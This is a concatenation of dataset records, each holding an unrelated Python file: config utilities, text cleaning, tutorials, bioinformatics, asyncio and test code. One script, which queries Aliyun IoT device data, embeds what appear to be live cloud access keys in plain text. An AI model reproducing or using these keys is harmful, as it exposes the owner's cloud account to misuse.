'DatabaseName': match.group(5),\n }\n if development_mode:\n config.update({\n 'ConnectionPoolingMaxIdle': 1,\n 'ConnectionPoolingMaxActive': 4,\n 'ConnectionPoolingNumTestsPerEvictionRun': 50,\n 'ConnectionPoolingSoftMinEvictableIdleTimeMillis': 1000,\n 'ConnectionPoolingTimeBetweenEvictionRunsMillis': 1000,\n })\n elif database_type_input == 'mysql':\n config.update({\n 'ConnectionPoolingNumTestsPerEvictionRun': 50,\n 'ConnectionPoolingSoftMinEvictableIdleTimeMillis': 10000,\n 'ConnectionPoolingTimeBetweenEvictionRunsMillis': 10000,\n })\n\n return config\n\n\ndef get_vcap_services_data():\n if os.environ.get('VCAP_SERVICES'):\n return json.loads(os.environ.get('VCAP_SERVICES'))\n else:\n return None\n\n\ndef get_new_relic_license_key():\n vcap_services = get_vcap_services_data()\n if vcap_services and 'newrelic' in vcap_services:\n return vcap_services['newrelic'][0]['credentials']['licenseKey']\n return None\n","sub_path":"lib/buildpackutil.py","file_name":"buildpackutil.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"92342920","text":"from string import punctuation\nfrom snowballstemmer import stemmer\nfrom stop_words import get_stop_words\n\nfrom bs4 import BeautifulSoup\nimport lxml\nfrom lxml.html.clean import Cleaner\nimport io\nimport os\n\nclass Nettoyeur :\n\n def __init__(self, tool=0, optional_ponctiation_carac=''):\n \"\"\"\n Initialiseur du Nettoyeur\n\n Paramètres:\n tool=0 : Quel outil va ton utiliser pour la recupération des informations\n 0 : DatabaseTool\n 1 : ElasticTool\n optional_ponctiation_carac : les caractère supplémntaires a retirer\n \"\"\"\n self.punctuation = punctuation + '«».'\n self.punctuation += optional_ponctiation_carac\n self.tool = tool\n\n def supported_lang(self, lang='fr') :\n \"\"\"\n Renvoie le nom complet des languages supportés\n\n Paramètres:\n lang : le diminutif du language\n \"\"\"\n if lang == 'fr':\n return 'french'\n elif lang == 'en':\n return 'english'\n else :\n raise Exception(f'Le language n est pas supporté {lang}')\n\n def enleve_balise(self, texte):\n \"\"\"\n Enleve toutes les balises HTML, JAVASSCRIPT du texte donné\n \n Paramètres:\n texte : le texte a transformer\n \"\"\"\n soup = BeautifulSoup(texte, features=\"html.parser\")\n cleaner = Cleaner()\n cleaner.javascript = True # Enleve les balises script et leur contenu\n cleaner.style = True # Enleve les balises style et leur contenu\n # ====== PLUS DE BALISE SCRIPT & STYLE ==========\n target_data = lxml.html.tostring(cleaner.clean_html(lxml.html.document_fromstring(str(soup.prettify())))) \n s = BeautifulSoup(target_data, features='lxml')\n return os.linesep.join([s.lstrip() for s in s.getText().splitlines() if s and s.strip() != ''])\n\n def enleve_espace_xml(self, texte):\n \"\"\"\n Enleve tous les espaces du texte xml donné\n \n Paramètres:\n texte : le texte a transformer\n \"\"\"\n s = BeautifulSoup(texte, features='lxml')\n return os.linesep.join([s.lstrip() for s in s.getText().splitlines() if s and s.strip() != ''])\n\n def enleve_espace(self, texte):\n \"\"\"\n Enleve tous les espaces du texte donné\n \n Paramètres:\n texte : le texte a transformer\n \"\"\"\n return texte.replace('\\t', ' ').replace('\\n', '').strip()\n\n def enleve_chiffre(self, texte):\n \"\"\"\n Enleve tous les chiffres du texte donné\n \n Paramètres:\n texte : le texte a transformer\n \"\"\"\n return ''.join([i for i in texte if not i.isdigit()])\n\n def enleve_ponctuation(self, texte):\n \"\"\"\n Enleve toutes les ponctuations du texte donné\n \n Paramètres:\n texte : le texte a transformer\n \"\"\"\n return str(texte).translate(str.maketrans('', '', self.punctuation))\n\n def enleve_stop_words(self, texte, lang='fr'): \n \"\"\"\n Enleve tous les mots d'arret d'une langue donné du texte donné\n \n Paramètres:\n texte : le texte a transformer\n lang : la langue des mots d'arret a enlever\n \"\"\"\n stopwords = get_stop_words(self.supported_lang(lang))\n return ' '.join([word for word in texte.split() if word.lower() not in stopwords])\n\n def nettoyer(self, texte, lang='fr'):\n \"\"\"\n Nettoie un texte donné\n \"\"\"\n if self.tool == 1 :\n return self.enleve_stop_words(self.enleve_ponctuation(self.enleve_chiffre(self.enleve_espace_xml(texte))),lang)\n else :\n return self.enleve_stop_words(self.enleve_ponctuation(self.enleve_chiffre(self.enleve_balise(texte))), lang)\n\n def get_clean_array(self, texte, lang='fr'):\n \"\"\"\n Nettoie un texte et le renvoie en array\n \"\"\"\n stem = stemmer(self.supported_lang(lang))\n ret = []\n array_texte_cleaned = self.nettoyer(texte,lang=lang).split(' ')\n for elem in array_texte_cleaned :\n ret.append(stem.stemWord(elem.lower()))\n return ret\n\n def get_clean_string(self, texte, lang='fr'):\n \"\"\"\n Nettoie un texte et le rnvoie en string\n \"\"\"\n texte_array = self.get_clean_array(texte, lang=lang)\n return ' '.join(texte_array)\n\nif __name__ == '__main__':\n nettoyeur = Nettoyeur()\n print(nettoyeur.get_clean_array(\"tést. a € 1 2 3\\n 1 2 3 test\"))","sub_path":"Sciences_Données_Fouille_Web/RSS_Intelligence/src/nettoyeur.py","file_name":"nettoyeur.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"343693685","text":"#ClassExampleShelve\nfrom ClassExample import Person, Manager #load our classes\nbob = Person('Bob Smith') #re-create objects to be stored\nsue = Person('Sue Jones', job='dev', pay=100000)\ntom = Manager('Tom Jones', 50000)\n\nimport shelve\ndb = shelve.open('persondb') #filename where objects are stored\nfor obj in (bob, sue, tom): #use object's name attr as key\n db[obj.name] = obj #store object on shelve by key\ndb.close() #close after making changes\n\n\nimport glob #allows directory listings to verify files\nprint(glob.glob('person*')) #checks for person files\n\n\ndb = shelve.open('persondb') #reopen the shelve\nprint(len(db)) #three records stored\nprint(list(db.keys())) #list the keys in the index\n\nbob = db['Bob Smith'] #fetch bob by key\nprint(bob)\nprint(bob.lastName()) #runs lastName from Person\n\nfor key in db: #iterate, fetch, print\n print(key, '=>', db[key])\n\ndb.close()\n\n#updating objects on a shelve\ndb = shelve.open('persondb') #reopen shelve with same filename\n\nfor key in sorted(db): #display pervious info\n print(key, '\\t=>', db[key])\n\nsue = db['Sue Jones'] #index by key to fetch\nsue.giveRaise(.10) #update in memeory using class's method\ndb['Sue Jones'] = sue #assign to key to udpate in shelve\n\nfor key in sorted(db): #print updated information\n print(key, '\\t=>', db[key])\n\ndb.close()\n","sub_path":"ClassesAndOOP/ClassExampleShelve.py","file_name":"ClassExampleShelve.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"46729395","text":"def palindromo(palabra):\n if len(palabra)==1 or palabra==\"\":\n return True\n elif palabra[0]==palabra[len(palabra)-1]:\n p=palabra[1:len(palabra)-2]\n return palindromo(p)\n else:\n return False\n\nif __name__==\"__main__\":\n print(palindromo(\"oso\"))\n print(palindromo(\"dinosaurio\"))\n ","sub_path":"tema11_ej1/tema11_ej1_15634329.py","file_name":"tema11_ej1_15634329.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"341304960","text":"from visual import *\n\nbola = sphere(pos=vector(0,0.25,0),\n radius = 0.2,\n make_trail = True)\n\nbola2 = sphere(pos=vector(0,0.25,0),\n radius = 0.2,\n make_trail = True,\n color = vector(0,0,255))\n\nbola3 = sphere(pos = vector(0,0.25,0),\n radius = 0.2, make_trail = True\n , color = vector(255,0,0))\nbola4 = sphere(pos=(0,0.25,0),radius = 0.2, make_trail=True, color=color.yellow)\n\ncampo = box(pos = vector(0,0,0), length = 20,\n height = 0.1, width = 10,\n color = vector(0,255,0))\ntam = 10\n\ndef traves():\n trave = cylinder(pos = vector(tam,0,1),\n axis = vector(0,2,0),\n radius = 0.18)\n \n trave = cylinder(pos = vector(tam,0,-1),\n axis = vector(0,2,0),\n radius = 0.18)\n \n travessao = cylinder(pos = vector(tam,2,-1),\n axis = vector(0,0,2),\n radius = 0.18)\n\nbola.mass = bola2.mass = bola3.mass = 1.0\nbola.p = vector (10, 1, 0.2)\nbola2.p = vector (10, 1.8, 0.2)\nbola3.p = vector (10, 1, -1.2)\ndt = 0.1\n\ndef trajetoria(ball, dt):\n for i in range(0,tam):\n rate(15)\n ball.pos += (ball.p/ball.mass)*dt\n\ntraves()\ntrajetoria(bola, dt)\ntrajetoria(bola2, dt)\ntrajetoria(bola3, dt)\ng=vector(0,-9.8,0)\nwhile bola4.pos.y>=0:\n rate(100)\n g=vector(0,-9.8,-14)\n F=bola4.m*g\n bola4.v=bola4.v+(F/bola4.m)*dt\n bola4.pos=bola4.pos+bola4.v*dt/bola4.m\n t=t+dt\n","sub_path":"Fisica.py","file_name":"Fisica.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"566078014","text":"# Solution 1\n# import asyncio\n#\n# loop = asyncio.get_event_loop()\n# loop.call_soon(print, 'I am scheduled on a loop!')\n# loop.call_soon_threadsafe(print, 'I am scheduled on a loop but threadsafely!')\n# loop.call_later(1, print, 'I am scheduled on a loop in one second')\n# loop.call_at(loop.time() + 1, print, 'I am scheduled on a loop in one second too')\n#\n# try:\n# print('Stop the loop by hitting the CTRL+C keys')\n# loop.run_forever()\n# except KeyboardInterrupt:\n# loop.stop()\n# finally:\n# loop.close()\n\n# Solution 2\nimport asyncio\nfrom functools import partial as func\n\n\nclass SchedulerLoop(asyncio.SelectorEventLoop):\n def __init__(self):\n super(SchedulerLoop, self).__init__()\n self._scheduled_callback_futures = []\n\n @staticmethod\n def unwrapper(fut: asyncio.Future, function):\n \"\"\"\n FUnction to get rid of the implicit fut parameter\n :param fut:\n :param function:\n :return:\n \"\"\"\n return function()\n\n def _future(self, done_hook):\n \"\"\"\n Create a future object that calls the done_hook when it is awaited\n :param done_hook:\n :return:\n \"\"\"\n fut = self.create_future()\n fut.add_done_callback(func(self.unwrapper, function=done_hook))\n return fut\n\n def schedule_soon_threadsafe(self, callback, *args, context=None):\n fut = self._future(func(callback, *args))\n self._scheduled_callback_futures.append(fut)\n self.call_soon_threadsafe(fut.set_result, None, context=context)\n\n def schedule_soon(self, callback, *args, context=None):\n fut = self._future(func(callback, *args))\n self._scheduled_callback_futures.append(fut)\n self.call_soon(fut.set_result, None, context=context)\n\n def schedule_later(self, delay_in_seconds, callback, *args, context=None):\n fut = self._future(func(callback, *args))\n self._scheduled_callback_futures.append(fut)\n self.call_later(delay_in_seconds, fut.set_result, None, context=context)\n\n def schedule_at(self, delay_in_seconds, callback, *args, context=None):\n fut = self._future(func(callback, *args))\n self._scheduled_callback_futures.append(fut)\n self.call_at(delay_in_seconds, fut.set_result, None, context=context)\n\n async def await_callbacks(self):\n callback_futs = self._scheduled_callback_futures[:]\n self._scheduled_callback_futures[:] = []\n await asyncio.gather(*callback_futs)\n\n\nasync def main(loop):\n loop.schedule_soon_threadsafe(print, 'hallo')\n loop.schedule_soon(print, 'This will be printed when the loop starts running')\n\n def callback(value):\n print(value)\n\n loop.schedule_soon_threadsafe(func(callback, value='This will get printed when the loop starts running'))\n offset_in_seconds = 4\n loop.schedule_at(loop.time() + offset_in_seconds,\n func(print, f'This will be printed after {offset_in_seconds} seconds'))\n loop.schedule_later(offset_in_seconds, func(print, f'This will be printed after {offset_in_seconds} seconds too'))\n await loop.await_callbacks()\n\nloop = SchedulerLoop()\nloop.run_until_complete(main(loop))\n","sub_path":"cp2/8_scheduling_callbacks_on_loop.py","file_name":"8_scheduling_callbacks_on_loop.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"261786581","text":"from core.himesis import Himesis\nimport uuid\n\nclass HExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans(Himesis):\n def __init__(self):\n\n \n \n \"\"\"\n Creates the himesis graph representing the DSLTrans rule ExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans.\n \"\"\"\n # Flag this instance as compiled now\n self.is_compiled = True\n \n super(HExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans, self).__init__(name='HExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans', num_nodes=0, edges=[])\n \n \n # Set the graph attributes\n self[\"mm__\"] = ['HimesisMM']\n self[\"name\"] = \"\"\"ExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans\"\"\"\n self[\"GUID__\"] = uuid.uuid3(uuid.NAMESPACE_DNS,'ExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans')\n \n # match model. We only support one match model\n self.add_node()\n self.vs[0][\"mm__\"] = \"\"\"MatchModel\"\"\"\n \n # apply model node\n self.add_node()\n self.vs[1][\"mm__\"] = \"\"\"ApplyModel\"\"\"\n \n # paired with relation between match and apply models\n \n self.add_node()\n self.vs[2][\"mm__\"] = \"\"\"paired_with\"\"\"\n self.vs[2][\"attr1\"] = \"\"\"ExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans\"\"\"\n \n # match class State() node\n self.add_node()\n \n self.vs[3][\"mm__\"] = \"\"\"State\"\"\" \n self.vs[3][\"attr1\"] = \"\"\"+\"\"\" \n # match class ExitPoint() node\n self.add_node()\n \n self.vs[4][\"mm__\"] = \"\"\"ExitPoint\"\"\" \n self.vs[4][\"attr1\"] = \"\"\"+\"\"\" \n \n \n # apply class LocalDef() node\n self.add_node()\n\n self.vs[5][\"mm__\"] = \"\"\"LocalDef\"\"\" \n self.vs[5][\"attr1\"] = \"\"\"1\"\"\"\n # apply class ProcDef() node\n self.add_node()\n\n self.vs[6][\"mm__\"] = \"\"\"ProcDef\"\"\" \n self.vs[6][\"attr1\"] = \"\"\"1\"\"\"\n # apply class Name() node\n self.add_node()\n\n self.vs[7][\"mm__\"] = \"\"\"Name\"\"\" \n self.vs[7][\"attr1\"] = \"\"\"1\"\"\"\n # apply class Par() node\n self.add_node()\n\n self.vs[8][\"mm__\"] = \"\"\"Par\"\"\" \n self.vs[8][\"attr1\"] = \"\"\"1\"\"\"\n # apply class Trigger() node\n self.add_node()\n\n self.vs[9][\"mm__\"] = \"\"\"Trigger\"\"\" \n self.vs[9][\"attr1\"] = \"\"\"1\"\"\"\n \n \n # match association State--exitPoints-->ExitPoint node\n self.add_node()\n self.vs[10][\"attr1\"] = \"\"\"exitPoints\"\"\"\n self.vs[10][\"mm__\"] = \"\"\"directLink_S\"\"\"\n \n # apply association LocalDef--def-->ProcDef node\n self.add_node()\n self.vs[11][\"attr1\"] = \"\"\"def\"\"\"\n self.vs[11][\"mm__\"] = \"\"\"directLink_T\"\"\"\n # apply association ProcDef--channelNames-->Name node\n self.add_node()\n self.vs[12][\"attr1\"] = \"\"\"channelNames\"\"\"\n self.vs[12][\"mm__\"] = \"\"\"directLink_T\"\"\"\n # apply association ProcDef--p-->Par node\n self.add_node()\n self.vs[13][\"attr1\"] = \"\"\"p\"\"\"\n self.vs[13][\"mm__\"] = \"\"\"directLink_T\"\"\"\n # apply association Par--p-->Trigger node\n self.add_node()\n self.vs[14][\"attr1\"] = \"\"\"p\"\"\"\n self.vs[14][\"mm__\"] = \"\"\"directLink_T\"\"\"\n \n # backward association State---->LocalDef node\n self.add_node()\n\n self.vs[15][\"mm__\"] = \"\"\"backward_link\"\"\"\n \n \n \n \n # Add the edges\n self.add_edges([\n (0,3), # matchmodel -> match_class State()\n (0,4), # matchmodel -> match_class ExitPoint()\n (1,5), # applymodel -> -> apply_class LocalDef()\n (1,6), # applymodel -> -> apply_class ProcDef()\n (1,7), # applymodel -> -> apply_class Name()\n (1,8), # applymodel -> -> apply_class Par()\n (1,9), # applymodel -> -> apply_class Trigger()\n (3,10), # match_class State() -> association exitPoints\n (10,4), # association exitPoints -> match_class ExitPoint()\n (5,11), # apply_class LocalDef() -> association def\n (11,6), # association def -> apply_class ProcDef()\n (6,12), # apply_class ProcDef() -> association channelNames\n (12,7), # association channelNames -> apply_class Name()\n (6,13), # apply_class ProcDef() -> association p\n (13,8), # association p -> apply_class Par()\n (8,14), # apply_class Par() -> association p\n (14,9), # association p -> apply_class Trigger()\n (5,15), # apply_class LocalDef() -> backward_association\n (15,3), # backward_association -> apply_class State()\n (0,2), # matchmodel -> pairedwith\n (2,1) # pairedwith -> applyModel\t\t\t\t\n\t\t])\n\n # Add the attribute equations\n self[\"equations\"] = [((3,'isComposite'),('constant','true')), ((6,'name'),('concat',(('constant','B'),(4,'name')))), ((7,'literal'),('constant','sh_in')), ((8,'__ApplyAttribute'),('constant','parexitpoint')), ((9,'channel'),('constant','sh_in')), ]\n\n \n","sub_path":"UMLRT2Kiltera_MM/transformation/no_contains/HExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans.py","file_name":"HExitPoint2BProcDefWhetherOrNotExitPtHasOutgoingTrans.py","file_ext":"py","file_size_in_byte":5151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414638093","text":"# show mine_sweeper map after click at certain cell\n# if click was in safity field - show all opened cells\n# else - show the original field\n# v2-shows in Breadth-first Search, by checking close 9 cell and added them to que if they are safity\n\n\ndef fill_field(mine_sweeper_field, num_rows, num_cols, i_click, j_click, que, pointer=0):\n for i in range(que[pointer][0] - 1, que[pointer][0] + 2):\n for j in range(que[pointer][1] - 1, que[pointer][1] + 2):\n if 0 <= i < num_rows and 0 <= j < num_cols:\n if mine_sweeper_field[i][j] == 0:\n que.append([i, j])\n mine_sweeper_field[i][j] = -2\n pointer += 1\n if pointer < len(que):\n fill_field(mine_sweeper_field, num_rows,\n num_cols, i_click, j_click, que, pointer)\n\n\ndef click(mine_sweeper_field, num_rows, num_cols, i_click, j_click):\n if mine_sweeper_field[i_click][j_click] == 0:\n mine_sweeper_field[i_click][j_click] = -2\n que = [[i_click, j_click]]\n fill_field(mine_sweeper_field, num_rows,\n num_cols, i_click, j_click, que)\n for i in mine_sweeper_field:\n print(i)\n print()\n\n\nfield = [[0, 0, 0, 0, 0], [\n 0, 1, 1, 1, 0], [0, 1, -1, 1, 0]]\nrows_number = 3\ncols_nuber = 5\ni_coordinate = 0\nj_coordinate = 1\n\nclick(field, rows_number, cols_nuber, i_coordinate, j_coordinate)\n\nfield = [[-1, 1, 0, 0], [\n 1, 1, 0, 0], [0, 0, 1, 1], [0, 0, 1, -1]]\nrows_number = 4\ncols_nuber = 4\ni_coordinate = 1\nj_coordinate = 2\nclick(field, rows_number, cols_nuber, i_coordinate, j_coordinate)\n","sub_path":"11 Essential Coding Interview Questions/4.Two-Dimensional Arrays-2 v2.py","file_name":"4.Two-Dimensional Arrays-2 v2.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"555161441","text":"from aliyunsdkcore.client import AcsClient\nfrom aliyunsdkcore.request import CommonRequest\nimport time\nimport datetime\nimport json\n\n\naccessKeyId = 'LTAI4GAhaCeHUhgYni41W6o3'\naccessSecret = 'MfYU5oT9rdVZptcdqSnZ4DZJsJloYI'\n\nclient = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou')\n\nrequest = CommonRequest()\nrequest.set_accept_format('json')\nrequest.set_domain('iot.cn-shanghai.aliyuncs.com')\nrequest.set_method('POST')\nrequest.set_protocol_type('https') # https | http\nrequest.set_version('2018-01-20')\nrequest.set_action_name('QueryDevicePropertyData')\n\n\nstart_date = '2020-08-09 12:00:00'\n# end_date = '2020-09-05 12:00:00'\nend_date = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\nstart_time = int(round(time.mktime(time.strptime(start_date, \"%Y-%m-%d %H:%M:%S\"))) * 1000)\nend_time = int(round(time.mktime(time.strptime(end_date, \"%Y-%m-%d %H:%M:%S\"))) * 1000)\n# start_time = int(round(time.time() * 1000))\n# end_time = int(round(time.time() * 1000))\n# print(start_time)\n# print(end_time)\n\nrequest.add_query_param('RegionId', \"cn-hangzhou\")\nrequest.add_query_param('StartTime', start_time)\nrequest.add_query_param('Identifier', 'Voltage')\nrequest.add_query_param('Asc', 1)\nrequest.add_query_param('EndTime', end_time)\nrequest.add_query_param('PageSize', 50)\n# request.add_query_param('ProductKey', 'a1MYO7hUU0c')\n# request.add_query_param('DeviceName', 'WDBC28')\nrequest.add_query_param('ProductKey', 'a1hhc8u1lHd')\nrequest.add_query_param('DeviceName', 'Voltage')\n\n# response = client.do_action(request)\nresponse = client.do_action_with_exception(request)\n# python2: print(response)\nprint(str(response, encoding='utf-8'))\nresponse_data = json.loads(str(response, encoding='utf-8'))\ndata = response_data[\"Data\"][\"List\"][\"PropertyInfo\"]\nprint(len(data))\nprint(data)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"175679827","text":"#last modification 20170924 by SPark\n#correction for refnt'N'\n#2018-10-12 revised for abt Npanel input\n#NA add for parsing\n\n\nimport sys,gzip\nin_file=open(sys.argv[1]) # vcf file\nNpfn=sys.argv[2] # /path/to/NormalPanelChr1.snv.edit.gz\nNpcn=sys.argv[3] # Normal panel cohort name\ninput_species = sys.argv[4]\n\nout_file=open(sys.argv[1].replace('.vcf','')+'_'+Npcn+'.vcf','w')\nin_line=in_file.readline().strip()\nn=0\n\nif input_species == 'human':\n\tchr_list=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"X\",\"Y\"] #human\nelif input_species == 'mouse':\n\tchr_list=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"X\",\"Y\"] #mouse\n\nnt_list=[\"A\",\"G\",\"C\",\"T\"]\nfor chr_ref in chr_list:\n\tif Npfn[-3:]=='.gz':\n\t\tref_file=gzip.open(Npfn.replace('chr1','chr'+chr_ref))\n\telse:\n\t\tref_file=open(Npfn.replace('chr1','chr'+chr_ref))\n\tref_line=ref_file.readline().strip()\n\tref_indi=ref_line.split('\\t')\n\tprint(\"chr\"+chr_ref)\n\tif chr_ref=='X':\n\t\tchr2=23\n\telif chr_ref=='Y':\n\t\tchr2=24\n\telse:\n\t\tchr2=int(chr_ref)\n\n\twhile in_line:\n\t\tin_indi=in_line.split('\\t')\n\t\tif in_line[0:6]=='#CHROM':\n\t\t\tout_file.write(in_line+'\\t'+Npcn+'_DP;DP_N;Ref;RefN;Var;VarN;Error_vaf\\n')\n\t\t\tin_line=in_file.readline().strip()\n\t\telif in_line[0]=='#':\n\t\t\tout_file.write(in_line+'\\n')\n\t\t\tin_line=in_file.readline().strip()\n\t\telif in_indi[0][0:2]=='MT' or in_indi[0][0:2]=='GL':\n\t\t\tprint(\"done\")\n\t\t\tsys.exit()\n\t\telif ref_line=='':\n\t\t\tif in_indi[0]==chr_ref:\n\t\t\t\tout_file.write(in_line+'\\tNA\\tNA\\tNA\\tNA\\tNA\\tNA\\tNA\\n')\n\t\t\t\tin_line=in_file.readline().strip()\n\t\t\telif in_indi[0]!=chr_ref:\n\t\t\t\tbreak\n\t\telif in_indi[3] not in nt_list:\n\t\t\tout_file.write(in_line+'\\tNA\\tNA\\tNA\\tNA\\tNA\\tNA\\tNA\\n')\n\t\t\tin_line=in_file.readline().strip()\n\t\telse:\n\t\t\tref_indi=ref_line.split('\\t')\n\t\t\tif in_indi[0]=='X':\n\t\t\t\tchr1=23\n\t\t\telif in_indi[0]=='Y':\n\t\t\t\tchr1=24\n\t\t\telse:\n\t\t\t\tchr1=int(in_indi[0])\n\n\t\t\tref_base=in_indi[3];ref_idx=nt_list.index(ref_base)\n\t\t\tvar_base=in_indi[4][0];var_idx=nt_list.index(var_base)\n\t\t\tref_dp=int(ref_indi[3].split(';')[0])\n\t\t\tvar_rc=int(ref_indi[4+var_idx].split(';')[0])\n\t\t\terror_vaf=round(100*var_rc/float(ref_dp),3)\n\t\t\tif chr1==chr2:\n\t\t\t\tif int(in_indi[1])==int(ref_indi[1]):\n\t\t\t\t\tout_file.write(in_line+'\\t'+ref_indi[3]+';'+';'.join(ref_indi[4+ref_idx].split(';')[0:2])+';'+';'.join(ref_indi[4+var_idx].split(';')[0:2])+';'+str(error_vaf)+'\\n')\n\t\t\t\t\tin_line=in_file.readline().strip()\n\t\t\t\t\tref_line=ref_file.readline().strip()\n\t\t\t\t\tn=n+1\n\t\t\t\telif int(in_indi[1])>int(ref_indi[1]):\n\t\t\t\t\tref_line=ref_file.readline().strip()\n\t\t\t\t\tn=n+1\n\t\t\t\telif int(in_indi[1])chr2:\n\t\t\t\tbreak\n\t\t\telif chr1 ref chr>\")\n\t\t\t\tprint(in_line)\n\t\t\t\tprint(ref_line)\n\t\t\t\tsys.exit()\n\t\tif n!=0 and n%10000000==0:\n\t\t\tprint(n)\n","sub_path":"11_SNP_INDEL/02_AddNpanelToVCF_snp.py","file_name":"02_AddNpanelToVCF_snp.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"223431691","text":"def check_query(query):\r\n tokens = query.split(',')\r\n# напишите код тела функции\r\n query = str(q)\r\n query = q.split(', ')\r\n return query[1].strip(' ')\r\n\r\n\r\n# дальше следует код, вызывающий вашу функцию; не изменяйте его:\r\nqueries = [\r\n 'Анфиса, сколько у меня друзей?',\r\n 'Андрей, ну где ты был?',\r\n 'Андрей, ну обними меня скорей!',\r\n 'Анфиса, кто все мои друзья?'\r\n]\r\n\r\nfor q in queries:\r\n result = check_query(q)\r\n print(q, '-', result)\r\n","sub_path":"60_содержание запроса.py","file_name":"60_содержание запроса.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"611106747","text":"import argparse as optparse\nimport collections\nimport csv\nimport simplejson as json\n\ndef read_file(file_path):\n #Read in the json dataset file and return a list of python dicts\n file_contents = []\n column_names = set()\n with open(file_path) as fin:\n for line in fin:\n line_contents = json.loads(line)\n column_names.update(\n set(get_column_names(line_contents).keys())\n )\n file_contents.append(line_contents)\n return file_contents, column_names\n\ndef get_column_names(line_contents, parent_key=''):\n #Return a list of flattened key names given a dict.\n\n \"\"\"\n Example:\n\n line_contents = {\n 'a': {\n 'b': 2,\n 'c': 3,\n },\n }\n\n will return: ['a.b', 'a.c']\n\n These will be the column names for the eventual csv file.\n \"\"\"\n column_names = []\n for k, v in line_contents.items():\n column_name = \"{0}.{1}\".format(parent_key, k) if parent_key else k\n if isinstance(v, collections.MutableMapping):\n column_names.extend(\n get_column_names(v, column_name).items()\n )\n else:\n column_names.append((column_name, v))\n return dict(column_names)\n\ndef get_nested_value(d, key):\n #Return a dictionary item given a dictionary `d` and a flattened key from `get_column_names`.\n \"\"\"\n Example:\n\n d = {\n 'a': {\n 'b': 2,\n 'c': 3,\n },\n }\n key = 'a.b'\n\n will return: 2\n \n \"\"\"\n if '.' not in key:\n if key not in d:\n return None\n return d[key]\n base_key, sub_key = key.split('.', 1)\n if base_key not in d:\n return None\n sub_dict = d[base_key]\n return get_nested_value(sub_dict, sub_key)\n\ndef get_row(line_contents, column_names):\n #Return a csv compatible row given column names and a dict.\n row = []\n for column_name in column_names:\n line_value = get_nested_value(\n line_contents,\n column_name,\n )\n # As review text can have multiple lines, make sure that new lines are deleted, and the entire text is just in one line.\n # Also, as we use [ as the csv column seperator for review text, make sure [ does not exist in the review text already.\n if line_value is not None:\n row.append('{0}'.format(line_value).replace(']',')').replace('[','(').replace('\\n\\n', ' ').replace('\\n',' '))\n else:\n row.append('')\n return row\n\ndef write_file(file_path, file_contents, column_names):\n #Create and write a csv file given file_contents of our json dataset file and column names.\n delimiter = ';'\n if \"review\" in file_path:\n # for reviews, use [ as delimiter, as review text usually contains all other characters, and using any other character would yield incorrect columns.\n delimiter='['\n\n print(\"Using {} as the delimiter for the csv file.\".format(delimiter)) \n with open(file_path, 'w+') as fin:\n csv_file = csv.writer(fin, delimiter=delimiter)\n csv_file.writerow([item for item in column_names])\n for line_contents in file_contents:\n csv_file.writerow(get_row(line_contents, column_names))\n\nif __name__ == '__main__':\n #Convert a yelp dataset file from json to csv\t\n parser = optparse.ArgumentParser(\n description='Convert Yelp Dataset Challenge data from JSON format to CSV.',\n )\n\n parser.add_argument(\n 'json_file',\n type=str,\n help='The json file to convert.',\n )\n\n args = parser.parse_args()\n\n json_file = args.json_file\n csv_file = 'input_resources/{0}.csv'.format(json_file.split('.json')[0])\n\n file_contents, column_names = read_file(json_file)\n write_file(csv_file, file_contents, column_names)\n print(\"Created {} file\".format(csv_file))\n","sub_path":"convert_to_csv.py","file_name":"convert_to_csv.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"505287082","text":"\"\"\"\nTests the DQM Server class\n\"\"\"\n\nimport threading\nimport pytest\nimport requests\n\nimport qcfractal.interface as portal\nfrom qcfractal import FractalServer\nfrom qcfractal.testing import test_server, pristine_loop, find_open_port, check_active_mongo_server\n\nmeta_set = {'errors', 'n_inserted', 'success', 'duplicates', 'error_description', 'validation_errors'}\n\n@pytest.mark.skip(reason=\"Hangs on Travis for some reason\")\ndef test_start_stop():\n check_active_mongo_server()\n\n with pristine_loop() as loop:\n\n # Build server, manually handle IOLoop (no start/stop 